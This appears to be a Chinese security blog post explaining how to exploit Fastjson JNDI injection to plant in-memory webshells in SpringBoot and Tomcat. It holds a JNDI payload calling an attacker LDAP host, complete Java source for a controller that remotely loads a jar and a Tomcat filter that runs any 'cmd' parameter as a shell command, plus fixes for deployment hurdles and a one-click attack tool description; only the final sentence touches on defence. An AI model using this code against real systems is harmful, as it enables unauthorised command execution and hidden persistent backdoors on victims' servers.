炒冷饭系列之第一篇--某sonJndi回显利用+GUI工具
字数 874 2025-08-05 08:19:01
Fastjson JNDI注入与内存马利用技术详解
0x00 前言
本文详细分析Fastjson JNDI注入漏洞与内存马技术结合的利用方法,涵盖SpringBoot和Tomcat两种环境下的内存马注入技术。通过本文,您将掌握如何利用Fastjson漏洞实现无文件攻击和权限维持。
0x01 Fastjson JNDI基础利用
漏洞版本
- Fastjson <= 1.2.24
基础POC
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://attacker.com/Exploit",
"autoCommit":true
}
服务端代码示例
SpringBoot环境
@RestController
public class Test {
@RequestMapping({"/test"})
public String test(@RequestBody String json) {
JSONObject.parseObject(json);
return "213";
}
}
Tomcat环境
public class TestTomcatServlet extends HttpServlet {
public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
InputStream inputStream = request.getInputStream();
String content = IOUtils.toString(inputStream, "utf-8");
JSONObject.parse(content);
OutputStream outputStream = response.getOutputStream();
outputStream.write("test".getBytes());
}
}
0x02 内存马技术详解
1. SpringBoot内存马
核心原理
通过获取当前运行时上下文环境,动态注册Controller实现内存马注入。
实现代码
public class SpringbootEcho {
public SpringbootEcho() throws Exception {
// 获取WebApplicationContext
WebApplicationContext context = (WebApplicationContext)RequestContextHolder
.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 获取RequestMappingHandlerMapping
RequestMappingHandlerMapping r = (RequestMappingHandlerMapping)context
.getBean(RequestMappingHandlerMapping.class);
// 远程加载恶意jar
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(this.getJarUrl())});
Class cls = urlClassLoader.loadClass("SSOLogin");
Method method = cls.getDeclaredMethods()[0];
// 配置RequestMapping信息
PatternsRequestCondition url = new PatternsRequestCondition(new String[]{"/DriedMangoCmd"});
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(new RequestMethod[0]);
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 注册映射
r.registerMapping(info, cls.newInstance(), method);
}
public String getJarUrl() {
return "http://127.0.0.1:10011/a.jar";
}
}
恶意jar内容示例
public class SSOLogin {
public void login(HttpServletRequest request, HttpServletResponse response){
try {
String arg0 = request.getParameter("code");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
response.sendError(404);
}
}catch (Exception e){}
}
}
2. Tomcat内存马
核心原理
通过反射修改Tomcat内部状态,动态注册Filter实现内存马注入。
实现代码
public class TomcatEcho {
public TomcatEcho() {
try {
// 反射修改关键字段
Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher")
.getDeclaredField("WRAP_SAME_OBJECT");
Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field lastServicedRequest = applicationFilterChain.getDeclaredField("lastServicedRequest");
Field lastServicedResponse = applicationFilterChain.getDeclaredField("lastServicedResponse");
// 修改字段修饰符
Field modifiers = Field.class.getDeclaredField("modifiers");
modifiers.setAccessible(true);
modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & -17);
modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & -17);
modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & -17);
// 设置字段可访问
WRAP_SAME_OBJECT.setAccessible(true);
lastServicedRequest.setAccessible(true);
lastServicedResponse.setAccessible(true);
// 初始化ThreadLocal
if (!WRAP_SAME_OBJECT.getBoolean(null)) {
WRAP_SAME_OBJECT.setBoolean(null, true);
lastServicedRequest.set(null, new ThreadLocal());
lastServicedResponse.set(null, new ThreadLocal());
} else {
// 获取当前请求
ThreadLocal<ServletRequest> threadLocalRequest = (ThreadLocal)lastServicedRequest.get(null);
ServletRequest request = (ServletRequest)threadLocalRequest.get();
try {
// 获取ServletContext
ServletContext servletContext = request.getServletContext();
if (servletContext.getFilterRegistration("webShell") == null) {
// 创建Filter实例
Filter WebShellClass = new Filter() {
public void init(FilterConfig filterConfig) throws ServletException {}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
String[] cmds = null;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd.exe", "/c", cmd};
} else {
cmds = new String[]{"sh", "-c", cmd};
}
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = (new Scanner(in)).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
Writer writer = response.getWriter();
writer.write(output);
writer.flush();
writer.close();
}
chain.doFilter(request, response);
}
public void destroy() {}
};
// 获取StandardContext
Field contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)contextField.get(servletContext);
contextField = applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
StandardContext standardContext = (StandardContext)contextField.get(applicationContext);
// 修改状态以允许添加Filter
Field stateField = LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);
// 注册Filter
Dynamic filterRegistration = servletContext.addFilter("webShell", WebShellClass);
filterRegistration.addMappingForUrlPatterns(
EnumSet.of(DispatcherType.REQUEST), false, new String[]{"/*"});
// 启动Filter
Method filterStartMethod = StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, (Object[])null);
// 调整Filter顺序
FilterMap[] filterMaps = standardContext.findFilterMaps();
for(int i = 0; i < filterMaps.length; ++i) {
if (filterMaps[i].getFilterName().equalsIgnoreCase("webShell")) {
FilterMap filterMap = filterMaps[i];
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMap;
break;
}
}
// 恢复状态
stateField.set(standardContext, LifecycleState.STARTED);
}
} catch (Exception e) {
e.printStackTrace();
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
0x03 技术难点与解决方案
-
动态修改远程jar地址问题
- 问题:传统方式需要每次重新编译jar修改IP地址
- 解决方案:使用javassist动态修改字节码,无需重新编译
-
内部类导致的Class缺失问题
- 问题:直接定义内部类会导致ldap请求完成后报错
- 解决方案:使用
Filter WebShellClass = new Filter()动态创建类并实例化
0x04 工具化利用
工具功能
- 自动识别目标环境(SpringBoot/Tomcat)
- 动态生成对应payload
- 一键启动LDAP服务
使用步骤
- 选择目标环境类型(SpringBoot/Tomcat)
- 配置LDAP服务端口
- 选择Fastjson JNDI注入方式
- 执行攻击
工具地址
总结
本文详细分析了Fastjson JNDI注入与内存马技术结合的利用方法,涵盖了SpringBoot和Tomcat两种主流Java Web环境下的实现细节。通过动态注册Controller或Filter,攻击者可以实现无文件攻击和持久化权限维持。防御此类攻击需要及时升级Fastjson版本,并部署RASP等运行时防护方案。